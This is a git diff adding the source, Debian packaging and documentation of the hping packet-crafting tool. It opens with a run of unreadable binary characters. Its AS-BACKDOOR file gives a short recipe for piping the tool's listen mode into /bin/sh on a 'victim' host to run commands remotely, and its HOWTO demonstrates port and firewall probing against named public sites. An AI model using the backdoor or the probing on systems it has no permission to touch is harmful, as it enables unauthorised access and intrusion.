z`KD@s+hGrE$NV%ZgmL?vzxkD+Ti-Pt;v?7+R)@z~*nX1}M4j!Ol;@69wNbUNtB#}Z q4CSmG5AUBezd3fN{bRIQpzL!w=XPx=<<^Dm-%$$ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 9$ + */ + +/* + * 0.1 first version + * 0.2 add Strchr, so it's possibile remove string.h + * 0.3 more portable thx to Pancrazio De Mauro 'TrantIT'!!! + * 0.4 better debug output + */ + +#include + +char *Strchr(char *s, char c) +{ + while(*s) + if (*s++ == c) + return s; + + return (char*) 0; +} + +int main(int argc, char **argv) +{ + unsigned int test = 1; + unsigned char *x; + int macro = 0, debug = 0, help = 0, j; + + for (j = 1; j < argc; j++) { + if (Strchr(argv[j], 'm')) macro = 1; + if (Strchr(argv[j], 'd')) debug = 1; + if (Strchr(argv[j], 'h')) help = 1; + } + + if (help) { + printf( "-m macro output\n" + "-d debug\n" + "-h help\n"); + return 0; + } + + x = (unsigned char*) &test; + + if (*x == 0x00) { + if (macro) + printf("__BIG_ENDIAN_BITFIELD\n"); + else + printf("big endian\n"); + } + else if (*x == 0x01) { + if (macro) + printf("__LITTLE_ENDIAN_BITFIELD\n"); + else + printf("little endian\n"); + } else { + printf("\nWARNING!!! byteorder exception\n\n"); + debug = 1; + } + + if (debug) { + printf("sizeof(unsigned int) = %d\n", sizeof(unsigned int)); + printf("unsigned int test = 1;\n"); + printf("in memory as: "); + for (j = 0; j < sizeof(unsigned int); j++) + printf("%02x ", x[j]); + printf("\n"); + } + return 0; +} diff --git a/byteorder.h b/byteorder.h new file mode 100644 index 0000000..a79fdac --- /dev/null +++ b/byteorder.h @@ -0,0 +1,8 @@ +#ifndef __BYTEORDER_H +#define __BYTEORDER_H + +#ifndef __LITTLE_ENDIAN_BITFIELD +#define __LITTLE_ENDIAN_BITFIELD +#endif /* __LITTLE_ENDIAN_BITFIELD */ + +#endif /* __BYTEORDER_H */ diff --git a/bytesex.h b/bytesex.h new file mode 100644 index 0000000..4b78483 --- /dev/null +++ b/bytesex.h @@ -0,0 +1,20 @@ +/* Original code from the Linux C library */ +/* Copyright (C) 2000,2001 Salvatore Sanfilippo + * This code is under the original GNU C library license (GPL) */ + +/* $Id: bytesex.h,v 1.3 2003/07/28 09:00:55 njombart Exp $ */ + +#ifndef ARS_BYTESEX_H +#define ARS_BYTESEX_H + +#include + +#if __BYTE_ORDER == __LITTLE_ENDIAN +#define BYTE_ORDER_LITTLE_ENDIAN +#elif __BYTE_ORDER == __BIG_ENDIAN +#define BYTE_ORDER_BIG_ENDIAN +#else +# error can not find the byte order for this architecture, fix bytesex.h +#endif + +#endif /* ARS_BYTESEX_H */ diff --git a/cksum.c b/cksum.c new file mode 100644 index 0000000..e84199f --- /dev/null +++ b/cksum.c @@ -0,0 +1,41 @@ +/* + * $smu-mark$ + * $name: cksum.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +#include "hping2.h" /* only for arch semi-indipendent data types */ +#include "globals.h" + +/* + * from R. Stevens's Network Programming + */ +__u16 cksum(__u16 *buf, int nbytes) +{ + __u32 sum; + __u16 oddbyte; + + sum = 0; + while (nbytes > 1) { + sum += *buf++; + nbytes -= 2; + } + + if (nbytes == 1) { + oddbyte = 0; + *((__u16 *) &oddbyte) = *(__u16 *) buf; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + + /* return a bad checksum with --badcksum option */ + if (opt_badcksum) sum ^= 0x5555; + + return (__u16) ~sum; +} diff --git a/configure b/configure new file mode 100644 index 0000000..54f9a45 --- /dev/null +++ b/configure @@ -0,0 +1,117 @@ +#!/bin/sh + +show_help() +{ + echo configure help: + echo "--help show this help" + echo "--force-libpcap build a libpcap based binary under linux" + echo " even if uid != euid" +} + +if [ "$1" = "--help" ]; then + show_help + exit 0 +fi + +CC=${CC:=cc} + +echo build byteorder.c... +$CC byteorder.c -o byteorder || exit 1 + +INSTALL_MANPATH=`echo $MANPATH|cut -f1 -d:` +if [ "$INSTALL_MANPATH" = "" ]; then + INSTALL_MANPATH="/usr/local/man" +fi +BYTEORDER=`./byteorder -m` + +echo create byteorder.h... +cat > byteorder.h <> byteorder.h +echo \#define $BYTEORDER >> byteorder.h +echo \#endif /\* $BYTEORDER \*/ >> byteorder.h +cat >> byteorder.h < Makefile + +# +# +# + +cat > systype.h <> systype.h +cat >> systype.h <$ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include /* memset */ + +#include "hping2.h" +#include "globals.h" + +void datafiller(char *p, int size) +{ + static int fd = 0; + int readed, diff; + + if (!fd) { + fd = open(datafilename, O_RDONLY); + if (fd == -1) { + perror("[datafiller] open()"); + fd = 0; /* will retry to open the file for + * the next packet */ + memset(p, 'X', size); + return; + } + } + + if (p == NULL && fd != -1) { /* seek operation */ + /* size-1 because packet with id 1 start from 0 */ + lseek(fd, (data_size-signlen)*(size-1), SEEK_SET); + return; + } + +restart: /* if EOF occurs, after rewind, restart */ + + readed = read(fd, p, size); + if (readed == size) + return; + else if (readed == -1) { + perror("[datafiller] read()"); + close(fd); + fd = 0; /* will retry to open the file for the next packet */ + memset(p, 'X', size); + return; + } + else if (readed < size && opt_end == FALSE) { + lseek(fd, 0, SEEK_SET); + if (readed == 0) + goto restart; + } + else if (readed < size && opt_end == TRUE) { + fprintf(stderr, "EOF reached, wait some second than press " + "ctrl+c\n"); + eof_reached = TRUE; + } else { + printf("[datafiller.c INTERNAL ERROR] readed = %d - " + "opt_end == %d\n", readed, opt_end); + exit(1); + } + diff = size - readed; + memset(p+readed, '\0', diff); /* padding */ + lseek(fd, 0, SEEK_SET); + return; +} diff --git a/datahandler.c b/datahandler.c new file mode 100644 index 0000000..20c50f3 --- /dev/null +++ b/datahandler.c @@ -0,0 +1,39 @@ +/* + * $smu-mark$ + * $name: datahandler.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +#include + +#include "hping2.h" +#include "globals.h" + +void data_handler(char *data, int data_size) +{ + if (opt_listenmode) { /* send an HCMP */ + memcpy(data, rsign, signlen); /* ok, write own reverse sign */ + data+=signlen; + data_size-=signlen; + memcpy(data, hcmphdr_p, data_size); + return; /* done */ + } + + if (opt_sign) { + memcpy(data, sign, signlen); /* lenght pre-checked */ + data+=signlen; + data_size-=signlen; + } + + if (data_size == 0) + return; /* there is not space left */ + + if (opt_datafromfile) + datafiller(data, data_size); + else + memset(data, 'X', data_size); +} diff --git a/debian/changelog b/debian/changelog new file mode 100644 index 0000000..1c50d11 --- /dev/null +++ b/debian/changelog @@ -0,0 +1,152 @@ +hping2 (2.rc3-4) unstable; urgency=low + + * Apply man page patch from Timo Juhani Lindfors + (closes: #342485). + + * debian/compat: New file, switch to compat level 5. + * debian/rules: Remove obsolete DH_COMPAT variable. + * debian/control: Bump Standards-Version to 3.6.2.1, no changes needed. + + -- Romain Francoise Sat, 10 Dec 2005 14:35:24 +0100 + +hping2 (2.rc3-3) unstable; urgency=low + + * Revert previous patch and really fix bytesex.h by using endian.h and + not doing all the work all over again; fixes FTBFS on several other + archs. + + -- Romain Francoise Mon, 21 Jun 2004 23:32:21 +0200 + +hping2 (2.rc3-2) unstable; urgency=low + + * Apply patch from Frederik Schueler to fix + FTBFS on amd64 (closes: #255444). + + -- Romain Francoise Mon, 21 Jun 2004 07:51:58 +0200 + +hping2 (2.rc3-1) unstable; urgency=low + + * New upstream release. + * Fix 'ambigous' typo in antigetopt.c. + + -- Romain Francoise Sun, 20 Jun 2004 16:34:57 +0200 + +hping2 (2.rc2-5) unstable; urgency=low + + * New maintainer (closes: #249573). + * debian/control: + + Update maintainer contact information. + + Reword description. + * debian/copyright: Mention maintainer change. + + -- Romain Francoise Sat, 22 May 2004 20:15:28 +0200 + +hping2 (2.rc2-4) unstable; urgency=low + + * Fixed typo in file statistics.c (closes: #236517). + + -- Domenico Andreoli Sun, 7 Mar 2004 04:35:42 +0100 + +hping2 (2.rc2-3) unstable; urgency=low + + * Removed duplicate files (closes: #208946). + + -- Domenico Andreoli Sat, 3 Jan 2004 04:58:51 +0100 + +hping2 (2.rc2-2) unstable; urgency=low + + * Applied patch for ATM, WLAN and Token Ring support (closes: #193436). + + -- Domenico Andreoli Sun, 18 May 2003 15:01:54 +0200 + +hping2 (2.rc2-1) unstable; urgency=low + + * New upstream release. + + -- Domenico Andreoli Mon, 20 Jan 2003 23:41:29 +0100 + +hping2 (2.rc1-2) unstable; urgency=low + + * Fixed a typo in hping2 description (Closes: #124740). + + -- Domenico Andreoli Fri, 18 Jan 2002 21:15:22 +0100 + +hping2 (2.rc1-1) unstable; urgency=low + + * New upstream release. + * Now french man page gets installed. + + -- Domenico Andreoli Fri, 17 Aug 2001 01:38:38 +0200 + +hping2 (2.beta55-1) unstable; urgency=low + + * New upstream release. + + -- Domenico Andreoli Wed, 1 Aug 2001 14:40:30 +0200 + +hping2 (2.beta54-9) unstable; urgency=low + + * Fixed the option parsing code (Closes: #90114). + + -- Domenico Andreoli Thu, 29 Mar 2001 15:28:16 +0200 + +hping2 (2.beta54-8) unstable; urgency=low + + * Added versioned Build-Depend for debhelper. + + -- Domenico Andreoli Tue, 6 Mar 2001 15:17:20 +0100 + +hping2 (2.beta54-7) unstable; urgency=low + + * Switched to debhelper compatibility version 2. + * Added some missing includes for header files. hping2 became not + succesfully compilable after some recent upgrade of libc6. + + -- Domenico Andreoli Wed, 28 Feb 2001 15:58:24 +0100 + +hping2 (2.beta54-6) unstable; urgency=low + + * Made some adjustments in postinst and in prerm to cope with + dpkg-statoverride. + * Removed the Build-Dependency on libtool since this package doesn't + use it in the build process. I really don't remember why I put it there. + + -- Domenico Andreoli Mon, 12 Feb 2001 16:00:13 +0100 + +hping2 (2.beta54-5) unstable; urgency=low + + * Reordered documentation files. + * Added hping2's author warning about hping2 being installed as + suid to debconf explanation. Question asked by debconf should be + more clear and hopefully authoritative. + + -- Domenico Andreoli Wed, 6 Sep 2000 15:33:06 +0200 + +hping2 (2.beta54-4) unstable; urgency=low + + * Fixed wrong Build-Depends, added debconf to Depends. + + -- Domenico Andreoli Mon, 4 Sep 2000 00:01:38 +0200 + +hping2 (2.beta54-3) unstable; urgency=low + + * Fixed overwriting of /usr/share/man/man3/pcap.3.gz (Closes: #70490). + Now pcap.3.gz is not installed at all since the interested user would + be better to install package libpcap-dev. + + -- Domenico Andreoli Sat, 2 Sep 2000 04:46:18 +0200 + +hping2 (2.beta54-2) unstable; urgency=low + + * Now, thanks to debconf, the administrator can choose whether to + install hping2 as setuid or not. + * I hope I found a more meaningful short description for + this package. :) + + -- Domenico Andreoli Fri, 1 Sep 2000 19:25:14 +0200 + +hping2 (2.beta54-1) unstable; urgency=low + + * Initial Release. + + -- Domenico Andreoli Sat, 22 Jul 2000 14:09:34 +0200 diff --git a/debian/compat b/debian/compat new file mode 100644 index 0000000..7ed6ff8 --- /dev/null +++ b/debian/compat @@ -0,0 +1 @@ +5 diff --git a/debian/control b/debian/control new file mode 100644 index 0000000..ac9b7fc --- /dev/null +++ b/debian/control @@ -0,0 +1,21 @@ +Source: hping6 +Section: net +Priority: extra +Maintainer: Romain Francoise +Standards-Version: 3.6.2.1 +Build-Depends: debhelper (>> 5.0.0) + +Package: hping6 +Architecture: any +Depends: ${shlibs:Depends} +Description: Active Network Smashing Tool + hping6 is a network tool able to send custom ICMP/UDP/TCP packets and + to display target replies like ping does with ICMP replies. It handles + fragmentation and arbitrary packet body and size, and can be used to + transfer files under supported protocols. Using hping6, you can test + firewall rules, perform (spoofed) port scanning, test network + performance using different protocols, do path MTU discovery, perform + traceroute-like actions under different protocols, fingerprint remote + operating systems, audit TCP/IP stacks, etc. + . + Homepage: http://www.hping.org/ diff --git a/debian/copyright b/debian/copyright new file mode 100644 index 0000000..f4b6410 --- /dev/null +++ b/debian/copyright @@ -0,0 +1,24 @@ +This package was debianized by Domenico Andreoli on +Sat, 22 Jul 2000 02:17:49 +0200. +It is now maintained by Romain Francoise + +It was downloaded from http://www.kyuzz.org/antirez/hping6.html + +Upstream Author: Salvatore Sanfilippo + +Copyright: + + hping6 is free software. It comes under GPL version 2, + except for the following: + + display_ipopt.c : from ping, BSD style license + libpcap library : BSD style license + + for more information see the upper part of this files. + + WARNING: hping6 is covered *ONLY* by GPL version 2, and *NOT* any others. + + hping6 is Copyright (C) 1998, 1999 by Salvatore Sanfilippo. + +On Debian GNU/Linux systems, the complete text of the GNU Lesser General +Public License can be found in `/usr/share/common-licenses'. diff --git a/debian/hping2.dirs b/debian/hping2.dirs new file mode 100644 index 0000000..6481ff0 --- /dev/null +++ b/debian/hping2.dirs @@ -0,0 +1,5 @@ +usr/sbin +usr/share +usr/share/man +usr/share/man/man8 +usr/share/man/fr/man8 diff --git a/debian/hping2.docs b/debian/hping2.docs new file mode 100644 index 0000000..49dff1a --- /dev/null +++ b/debian/hping2.docs @@ -0,0 +1,8 @@ +README +KNOWN-BUGS +TODO +docs/AS-BACKDOOR +docs/HPING6-HOWTO.txt +docs/HPING6-IS-OPEN +docs/MORE-FUN-WITH-IPID +docs/SPOOFED_SCAN.txt diff --git a/debian/hping2.files b/debian/hping2.files new file mode 100644 index 0000000..d5e39c1 --- /dev/null +++ b/debian/hping2.files @@ -0,0 +1 @@ +usr/sbin/hping6 diff --git a/debian/hping2.links b/debian/hping2.links new file mode 100644 index 0000000..e3086bf --- /dev/null +++ b/debian/hping2.links @@ -0,0 +1,3 @@ +/usr/sbin/hping2 /usr/sbin/hping +/usr/share/man/man8/hping2.8 /usr/share/man/man8/hping.8 +/usr/share/man/fr/man8/hping2.8 /usr/share/man/fr/man8/hping.8 diff --git a/debian/hping2.manpages b/debian/hping2.manpages new file mode 100644 index 0000000..7cff597 --- /dev/null +++ b/debian/hping2.manpages @@ -0,0 +1 @@ +docs/hping2.8 diff --git a/debian/rules b/debian/rules new file mode 100644 index 0000000..aae588e --- /dev/null +++ b/debian/rules @@ -0,0 +1,65 @@ +#!/usr/bin/make -f +# Sample debian/rules that uses debhelper. +# GNU copyright 1997 to 1999 by Joey Hess. + +# Uncomment this to turn on verbose mode. +#export DH_VERBOSE=1 + +configure: configure-stamp +configure-stamp: + dh_testdir + ./configure --prefix=/usr --mandir=\$${prefix}/share/man --infodir=\$${prefix}/share/info + touch configure-stamp + +build: configure-stamp build-stamp +build-stamp: + dh_testdir + $(MAKE) + touch build-stamp + +clean: + dh_testdir + dh_testroot + rm -f build-stamp configure-stamp + + # Add here commands to clean up after the build process. + -$(MAKE) distclean + + dh_clean + +install: build + dh_testdir + dh_testroot + dh_clean -k + dh_installdirs + + # Add here commands to install the package into debian/tmp. + $(MAKE) install prefix=`pwd`/debian/tmp/usr + gzip -9 -c `pwd`/docs/french/hping2-fr.8 > `pwd`/debian/hping2/usr/share/man/fr/man8/hping2.8.gz + + dh_movefiles + +# Build architecture-independent files here. +binary-indep: build install +# We have nothing to do by default. + +# Build architecture-dependent files here. +binary-arch: build install + dh_testdir + dh_testroot + dh_installdebconf + dh_installdocs + dh_installman + dh_installchangelogs CHANGES + dh_link + dh_strip + dh_compress + dh_fixperms + dh_installdeb + dh_shlibdeps + dh_gencontrol + dh_md5sums + dh_builddeb + +binary: binary-indep binary-arch +.PHONY: build clean binary-indep binary-arch binary install diff --git a/display_ipopt.c b/display_ipopt.c new file mode 100644 index 0000000..f41e5ed --- /dev/null +++ b/display_ipopt.c @@ -0,0 +1,136 @@ +/* + * Copyright (c) 1989 The Regents of the University of California. + * All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Mike Muuss. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +/* ripped from ping */ + +void display_ipopt(char* buf) +{ +int i,j; +unsigned long l; +static int old_rrlen; +static char old_rr[MAX_IPOPTLEN]; +unsigned char* cp; +int hlen; +struct myiphdr *ip; +struct in_addr in; + + + ip = (struct myiphdr *)buf; + hlen = ip->ihl * 4; + + cp = (u_char *)buf + sizeof(struct myiphdr); + + for (; hlen > (int)sizeof(struct myiphdr); --hlen, ++cp) + switch (*cp) { + case IPOPT_EOL: + hlen = 0; + break; + case IPOPT_LSRR: + (void)printf("LSRR: "); + hlen -= 2; + j = *++cp; + ++cp; + if (j > IPOPT_MINOFF) + for (;;) { + l = *++cp; + l = (l<<8) + *++cp; + l = (l<<8) + *++cp; + l = (l<<8) + *++cp; + in.s_addr=htonl(l); + printf("\t%s",inet_ntoa(in)); + hlen -= 4; + j -= 4; + if (j <= IPOPT_MINOFF) + break; + (void)putchar('\n'); + } + break; + case IPOPT_RR: + j = *++cp; /* get length */ + i = *++cp; /* and pointer */ + hlen -= 2; + if (i > j) + i = j; + i -= IPOPT_MINOFF; + if (i <= 0) + continue; + if (i == old_rrlen + && cp == (u_char *)buf + sizeof(struct myiphdr) + 2 + && !memcmp((char *)cp, old_rr, i)) { + (void)printf("\t(same route)\n"); + i = ((i + 3) / 4) * 4; + hlen -= i; + cp += i; + break; + } + old_rrlen = i; + memcpy(old_rr, cp, i); + (void)printf("RR: "); + for (;;) { + l = *++cp; + l = (l<<8) + *++cp; + l = (l<<8) + *++cp; + l = (l<<8) + *++cp; + in.s_addr=htonl(l); + printf("\t%s",inet_ntoa(in)); + hlen -= 4; + i -= 4; + if (i <= 0) + break; + (void)putchar('\n'); + } + putchar('\n'); + + break; + case IPOPT_NOP: + (void)printf("NOP\n"); + break; + default: + (void)printf("unknown option %x\n", *cp); + break; + } + +} diff --git a/docs/APD.txt b/docs/APD.txt new file mode 100644 index 0000000..36f8a89 --- /dev/null +++ b/docs/APD.txt @@ -0,0 +1,121 @@ +ARS Packet Description system + + This document describes the APD format. APD is a way to describe TCP/IP + packets, and it is used in high level functions of the ARS library. + The general format is the following: + + layer_type{field_1=value_1,field_2=value_2,...,field_n=value_n} + + more layers can be combined using the "+" simbol. Example: + + ip{dst=192.168.1.2}+udp{sport=53,dport=53}+data{file=./dns.packet} + + You don't need to specify fields that ARS can guess. For example + if you don't specify checksums they will be correctly generated + in the process of packet compilation. + + AVAILABLE LAYERS + ~~~~~~~~~~~~~~~~ + + A layer type is one of the following: + + ip IP header + ipopt.eol IP option EOL + ipopt.nop IP option NOP + ipopt.sec IP option Security + ipopt.sid IP option Stream ID + ipopt.lsrr IP option Loose Source Routing + ipopt.ssrr IP option Strict Source Routing + ipopt.rr IP option Record Route + ipopt.ts IP option Timestamp + udp UDP header + tcp TCP header + tcpopt.end TCP option END + tcpopt.nop TCP option NOP + tcpopt.mss TCP option Max Segment Size + tcpopt.wscale TCP option Window Scale + tcpopt.sackperm TCP option Selective ACK permitted + tcpopt.sack TCP option Selevtive ACK + tcpopt.echo TCP option Echo Request + tcpopt.echoreply TCP option Echo Reply + tcpopt.ts TCP option Timestamp + icmp ICMP header + data Generic Data + + Different fields are defined for different layer types: + + IP FIELDS: DESCRIPTION: POSSIBLE VALUE: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + saddr Source address 192.168.1.2, or www.yahoo.com + daddr Destination address 192.168.1.2, or www.yahoo.com + ihl IP header len numerical value + ver IP version numerical value + tos Type of Service numerical value + totlen IP tot len numerical value + id IP packet ID numerical value + fragoff IP fragment offset numerical vaule + mf More Fragment 0 or 1 + df Dont Fragment 0 or 1 + rf Reserved Frag. bit 0 or 1 + ttl Time to Live numerical value + proto ip protocol field numerical value + cksum ip checksum numerical value + + UDP FIELDS: DESCRIPTION: POSSIBLE VALUE: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + sport Source port numerical value + dport Destination port numerical value + len UDP len field numerical value + cksum UDP checksum numerical value + + TCP FIELDS: DESCRIPTION: POSSIBLE VALUE: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + sport Source port numerical value + dport Destination port numerical value + seq TCP sequence number numerical value + ack TCP acknowledge number numerical value + x2 TCP reserved bits numerical value + off TCP header size numerical value + flags TCP flags FSRPAUXY (see the example) + win TCP window numerical value + cksum TCP checksum numerical value + urp TCP urgent pointer numerical value + + ICMP FIELDS: DESCRIPTION: POSSIBLE VALUE: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + type ICMP type numerical value + code ICMP code numerical value + cksum ICMP cksum numerical value + id ICMP echo ID numerical value + seq ICMP echo sequence nr numerical value + gw ICMP gateway 192.168.1.2 or www.yahoo.com + + DATA FIELDS: DESCRIPTION: POSSIBLE VALUE: + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + file Data file /etc/passwd + str A string hello world! (no escaping available) + + + Other layer types fields aren't still implemented, anyway + most of this contains sane defaults, (like IP record route option + and so on). + + You can specify numerical values as hex, octal and decimal numbers. + + Decimail: 10 + Hex: 0xA + Octal: 012 + + Examples + ~~~~~~~~ + + /* Just an ICMP echo request */ + ip{saddr=1.2.3.4,daddr=www.yahoo.com}+icmp{type=8,code=0}\ + +data{str=hello world} + + /* An ICMP destination unreachable with the quoted UDP packet */ + ip{saddr=1.2.3.4,daddr=5.6.7.8}+icmp{type=3,code=3}\ + +ip{saddr=www.yahoo.com,daddr=1.2.3.4}+udp{sport=53,dport=53}\ + + /* A TCP packet with the SYN flag set */ + ip{saddr=1.2.3.4,daddr=5.6.7.8}+tcp{flags=S,dport=80,sport=10} diff --git a/docs/AS-BACKDOOR b/docs/AS-BACKDOOR new file mode 100644 index 0000000..0fd8f6d --- /dev/null +++ b/docs/AS-BACKDOOR @@ -0,0 +1,37 @@ +hping can be used as a backdoor. Just try the -9 (--listen) option +and put in pipe with /bin/sh: + +Put hping in listen mode in the victim host. + +victim# hping -I eth0 -9 mysign | /bin/sh + +Every packet that contain "mysign" will be processed by hping, +all the bytes that follows "mysign" in the packet will be dumped +to the standard output, so for example I'll able to exec commands +using all types of protocols. Just for example I can use the smtpd +to exec 'ls' in the victim. + +evil$ telnet victim 25 + +Trying 192.168.1.1... +Connected to nano (192.168.1.1). +Escape character is '^]'. +220 nano.marmoc.net ESMTP Sendmail +mysignls; + +on the victim you will see: + +victim# hping -I eth0 -9 mysign | /bin/sh +hping2 listen mode +bin cdrom etc home local-home mnt root tmp var +boot dev export lib lost+found proc sbin usr +: command not found + +As you can see I used 'ls;' since otherwise the shell will receive +just ls^M. The ";" force the command execution (at least with bash and zsh, +check your shell for more information). + +This works with all kind of valid not-filtered IP packets, the higher +level protocl does not matter. + +antirez diff --git a/docs/HPING2-HOWTO.txt b/docs/HPING2-HOWTO.txt new file mode 100644 index 0000000..5128b00 --- /dev/null +++ b/docs/HPING2-HOWTO.txt @@ -0,0 +1,440 @@ +N.B.: this HOWTO is not completed and in some points very silly. I leave this + here only because maybe it's better that nothing. + +HPING2 HOWTO + +Changes Log +----------- +Aug 7 1999 vi HPING2-HOWTO.txt +Aug 8 1999 __0000, __0001, __0002, __0003 +Aug 10 1999 __0004 + +Index +----- +[search __XXXX in order to jump to point you want] + + __0000: Copyright notice + __0001: What is hping? + __0002: What i need to know about TCP/IP in order to use hping? + __0003: First step with hping + __0004: IP id and how to scan TCP ports using spoofing. + __0005: How to test firewall rules. (TODO) + __0006: How to trasfer files accross firewall. (TODO) + + __000A: hping usage example (TODO) + +__0000: Copyright notice, License, and all that stuff + + Copyright (C) Salvatore Sanfilippo, 1999. + + Permission is granted to make and distribute copies of this manual + provided the copyright notice and this permission notice are preserved + on all copies. + + Permission is granted to copy and distribute modified versions of this + manual under the conditions for verbatim copying, provided that the + derived work is distributed under the terms of a permission notice + identical to this one. Translations fall under the catagory of + ``modified versions.'' + + Warranty: None. + + Recommendations: Commercial redistribution is allowed and encouraged; + however, it is strongly recommended that the redistributor contact the + author before the redistribution, in the interest of keeping things + up-to-date (you could send me a copy of the thing you're making while + you're at it). Translators are also advised to contact the author + before translating. The printed version looks nicer. Recycle. + +__0001: What is hping? + + Hping is a software to do TCP/IP stack auditing, to uncover firewall + policy, to scan TCP port in a lot of different modes, to transfer + files accross a firewall and many other stuff. Using hping you are + able to do even a lot of not security-regarding stuff. For example you + can test networks performance, check if a host is up, check if TOS + is handled et cetera. + +__0002: What i need to know about TCP/IP in order to use hping? + + If you know TCP/IP you will find hping very usefull, otherwise + you can use hping only to do well known tests. See __000A for + some example. + +__0003: First step with hping + + The simplest usage of hping is the following: + + #hping host + + This command sends a TCP null-flags packet to port 0 of target + host every second and show the host replies. For example: + +# hping www.debian.org +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes +40 bytes from 209.81.8.242: flags=RA seq=0 ttl=243 id=63667 win=0 time=369.4 ms +40 bytes from 209.81.8.242: flags=RA seq=1 ttl=243 id=63719 win=0 time=420.0 ms +40 bytes from 209.81.8.242: flags=RA seq=2 ttl=243 id=63763 win=0 time=350.0 ms +[Ctrl+C] +--- www.debian.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss + + As you can see host replies with a TCP packet with RST and ACK flags + set. So you are able to perform a 'TCP ping', usefull when ICMPs are + filtered. By default port 0 are used because it's very strange that + is in LISTEN state. If we send a TCP null-flags to a port in + LISTEN state a lot of TCP/IP stack will not send any reply. So we are + able to know if a port is in LISTEN state. For example: + +# hping www.debian.org -p 80 +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes +[Ctrl+C] +--- www.debian.org hping statistic --- +5 packets trasmitted, 0 packets received, 100% packet loss + + Since port 80 of www.debian.org is in LISTEN mode we got + no response. + + But What's happen if we try to hping a firewalled port? This depends + on firewall policy/implementation. Usually we get an ICMP or + nothing. For example: + +# hping www.yahoo.com -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes +ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net) + +--- www.yahoo.com hping statistic --- +14 packets tramitted, 0 packets received, 100% packet loss + + yahoo firewall doesn't allow connection to port 79, so reply with + an ICMP Packet filtered (ICMP unreachable code 13). However + there are a lot of firewall that simply drop the packet. For example: + +# hping www.microsoft.com -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.150): NO FLAGS are set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +4 packets tramitted, 0 packets received, 100% packet loss + + No reply from microsoft. Is the port firewalled or in LISTEN mode? + To uncover this is very simply. Just we try to set ACK flag instead + to send a TCP null-flag packet. If the host respond maybe this port + is in LISTEN mode (but it's possible that there is a rules that + deny null-flag TCP packet but allow ACK). + +# hping www.microsoft.com -A -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.149): A set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +3 packets tramitted, 0 packets received, 100% packet loss + + No response again, So this port seems to be filtered. Anyway + it's possible that microsoft is using an 'intelligent' firewall + that know that in order to connect first I must send a SYN. + +# hping www.microsoft.com -S -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.149): S set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +3 packets tramitted, 0 packets received, 100% packet loss + + Ok.. seems that port 79 of microsoft is really filtered. + Just for clearness we send some ACK to port 80 of www.debian.org: + +# hping www.debian.org -p 80 -A +ppp0 default routing interface selected (according to /proc) +HPING 